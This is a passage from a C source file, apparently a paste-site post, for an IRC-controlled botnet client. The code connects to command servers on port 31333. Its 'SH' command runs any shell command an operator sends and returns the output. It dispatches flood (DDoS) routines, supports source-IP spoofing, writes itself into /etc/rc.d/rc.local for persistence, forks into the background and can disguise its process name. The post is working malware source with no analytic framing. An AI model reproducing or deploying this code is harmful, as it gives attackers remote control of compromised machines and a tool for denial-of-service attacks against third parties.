  737.                char *params[12], name[1024]={0};
  738.                int num_params=0, m;
  739.                message++;
  740.                for (i=0;i<strlen(message) && message[i] != ' ';i++);
  741.                message[i]=0;
  742.                if (strwildmatch(message,nick)) return;
  743.                message+=i+1;
  744.                if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  745.                if (!strncmp(message,"SH ",3)) {
  746.                        char buf[1024];
  747.                        FILE *command;
  748.                        if (mfork(sender) != 0) return;
  749.                        memset(buf,0,1024);
  750.                        sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  751.                        command=popen(buf,"r");
  752.                        while(!feof(command)) {
  753.                                memset(buf,0,1024);
  754.                                fgets(buf,1024,command);
  755.                                Send(sock,"NOTICE %s :%s\n",sender,buf);
  756.                                sleep(1);
  757.                        }
  758.                        pclose(command);
  759.                        exit(0);
  760.                }
  761.                m=strlen(message);
  762.                for (i=0;i<m;i++) {
  763.                        if (*message == ' ' || *message == 0) break;
  764.                        name[i]=*message;
  765.                        message++;
  766.                }
  767.                for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  768.                num_params++;
  769.                if (num_params > 10) num_params=10;
  770.                 params[0]=name;
  771.                 params[num_params+1]="\0";
  772.                 m=1;
  773.                 while (*message != 0) {
  774.                         message++;
  775.                         if (m >= num_params) break;
  776.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  777.                        params[m]=(char*)malloc(i+1);
  778.                        strncpy(params[m],message,i);
  779.                        params[m][i]=0;
  780.                        m++;
  781.                        message+=i;
  782.                }
  783.                for (m=0; flooders[m].cmd != (char *)0; m++) {
  784.                        if (!strcasecmp(flooders[m].cmd,name)) {
  785.                                flooders[m].func(sock,sender,num_params-1,params);
  786.                                for (i=1;i<num_params;i++) free(params[i]);
  787.                                return;
  788.                        }
  789.                }
  790.        }
  791. }
  792. void _376(int sock, char *sender, char *str) {
  793.        Send(sock,"MODE %s -xi\n",nick);
  794.        Send(sock,"JOIN %s :%s\n",chan,key);
  795.        Send(sock,"WHO %s\n",nick);
  796. }
  797. void _PING(int sock, char *sender, char *str) {
  798.        Send(sock,"PONG %s\n",str);
  799. }
  800. void _352(int sock, char *sender, char *str) {
  801.        int i,d;
  802.        char *msg=str;
  803.        struct hostent *hostm;
  804.        unsigned long m;
  805.        for (i=0,d=0;d<5;d++) {
  806.                for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  807.                if (i == strlen(str)) return;
  808.        }
  809.        for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  810.        msg[i]=0;
  811.        if (!strcasecmp(msg,nick) && !spoofsm) {
  812.                msg=str;
  813.                for (i=0,d=0;d<3;d++) {
  814.                        for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  815.                        if (i == strlen(str)) return;
  816.                }
  817.                for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  818.                msg[i]=0;
  819.                if ((m = inet_addr(msg)) == -1) {
  820.                        if ((hostm=gethostbyname(msg)) == NULL) {
  821.                                Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  822.                                return;
  823.                        }
  824.                        memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  825.                 }
  826.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  827.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  828.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  829.                 ((char*)&spoofs)[0]=0;
  830.                 spoofsm=256;
  831.         }
  832. }
  833. void _433(int sock, char *sender, char *str) {
  834.         free(nick);
  835.         nick=makestring();
  836. }
  837. void _NICK(int sock, char *sender, char *str) {
  838.     int i;
  839.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  840.        sender[i]=0;
  841.     if (!strcasecmp(sender,nick)) {
  842.         if (*str == ':') str++;
  843.         if (nick) free(nick);
  844.         nick=strdup(str);
  845.     }
  846. }
  847. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  848.        { "352", _352 },
  849.        { "376", _376 },
  850.        { "433", _433 },
  851.        { "422", _376 },
  852.        { "PRIVMSG", _PRIVMSG },
  853.        { "PING", _PING },
  854.     { "NICK", _NICK },
  855. { (char *)0, (void (*)(int,char *,char *))0 } };
  856. void con() {
  857.        struct sockaddr_in srv;
  858.        unsigned long ipaddr,start;
  859.        int flag;
  860.        struct hostent *hp;
  861. start:
  862.     sock=-1;
  863.     flag=1;
  864.     if (changeservers == 0) server=servers[rand()%numservers];
  865.     changeservers=0;
  866.        while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  867.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  868.         if ((hp = gethostbyname(server)) == NULL) {
  869.             server=NULL;
  870.             close(sock);
  871.             goto start;
  872.         }
  873.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  874.     }
  875.     else srv.sin_addr.s_addr=inet_addr(server);
  876.         srv.sin_family = AF_INET;
  877.         srv.sin_port = htons(31333);
  878.     ioctl(sock,FIONBIO,&flag);
  879.     start=time(NULL);
  880.     while(time(NULL)-start < 10) {
  881.         errno=0;
  882.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  883.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  884.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  885.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  886.             return;
  887.         }
  888.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  889.         sleep(1);
  890.     }
  891.     server=NULL;
  892.     close(sock);
  893.     goto start;
  894. }
  895. int main(int argc, char **argv) {
  896.        int on,i;
  897.        char cwd[256],*str;
  898.        FILE *file;
  899. #ifdef STARTUP
  900.     str="/etc/rc.d/rc.local";
  901.     file=fopen(str,"r");
  902.     if (file == NULL) {
  903.         str="/etc/rc.conf";
  904.         file=fopen(str,"r");
  905.     }
  906.        if (file != NULL) {
  907.                char outfile[256], buf[1024];
  908.                int i=strlen(argv[0]), d=0;
  909.                getcwd(cwd,256);
  910.                if (strcmp(cwd,"/")) {
  911.                        while(argv[0][i] != '/') i--;
  912.                        sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  913.                        while(!feof(file)) {
  914.                                fgets(buf,1024,file);
  915.                                if (!strcasecmp(buf,outfile)) d++;
  916.                        }
  917.                        if (d == 0) {
  918.                                FILE *out;
  919.                                fclose(file);
  920.                                out=fopen(str,"a");
  921.                                if (out != NULL) {
  922.                                        fputs(outfile,out);
  923.                                        fclose(out);
  924.                                }
  925.                        }
  926.                        else fclose(file);
  927.                }
  928.                else fclose(file);
  929.        }
  930. #endif
  931.        if (fork()) exit(0);
  932. #ifdef FAKENAME
  933.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  934.        for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  935. #endif
  936.        srand((time(NULL) ^ getpid()) + getppid());
  937.        nick=makestring();
  938.        ident=makestring();
  939.        user=makestring();
  940.        chan=CHAN;
  941.     key=KEY;
  942.     server=NULL;
  943. sa:
  944. #ifdef IDENT
  945.        for (i=0;i<numpids;i++) {
  946.                if (pids[i] != 0 && pids[i] != getpid()) {
  947.                        kill(pids[i],9);
  948.             waitpid(pids[i],NULL,WNOHANG);
  949.                }
  950.        }
  951.     pids=NULL;
  952.     numpids=0;
  953.     identd();
  954. #endif
  955.     con();
  956.        Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  957.        while(1) {
  958.                unsigned long i;
  959.                fd_set n;
  960.                struct timeval tv;
  961.                FD_ZERO(&n);
  962.                FD_SET(sock,&n);
  963.                tv.tv_sec=60*20;
  964.                tv.tv_usec=0;
  965.                if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  966.                for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  967.                         unsigned int *newpids,on;
  968.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  969.             pids[on-1]=0;
  970.                        numpids--;
  971.                        newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  972.                        for (on=0;on<numpids;on++) newpids[on]=pids[on];
  973.                        free(pids);
  974.                        pids=newpids;
  975.                }
  976.                if (FD_ISSET(sock,&n)) {
  977.                        char buf[4096], *str;
  978.                        int i;
  979.                        if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  980.                        buf[i]=0;
  981.                        str=strtok(buf,"\n");
  982.                        while(str && *str) {
  983.                                char name[1024], sender[1024];
  984.                                filter(str);
  985.                                if (*str == ':') {
  986.                                        for (i=0;i<strlen(str) && str[i] != ' ';i++);
  987.                                        str[i]=0;
  988.                                        strcpy(sender,str+1);
  989.                                        strcpy(str,str+i+1);
  990.                                }
  991.                                else strcpy(sender,"*");
  992.                                for (i=0;i<strlen(str) && str[i] != ' ';i++);
  993.                                str[i]=0;
  994.                                strcpy(name,str);
  995.                                strcpy(str,str+i+1);
  996.                                for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  997.                                if (!strcasecmp(name,"ERROR")) goto sa;
  998.                                str=strtok((char*)NULL,"\n");
  999.                        }
  1000.                }
  1001.        }
  1002.        return 0;
  1003. }
Advertisement
Add Comment
Please, Sign In to add comment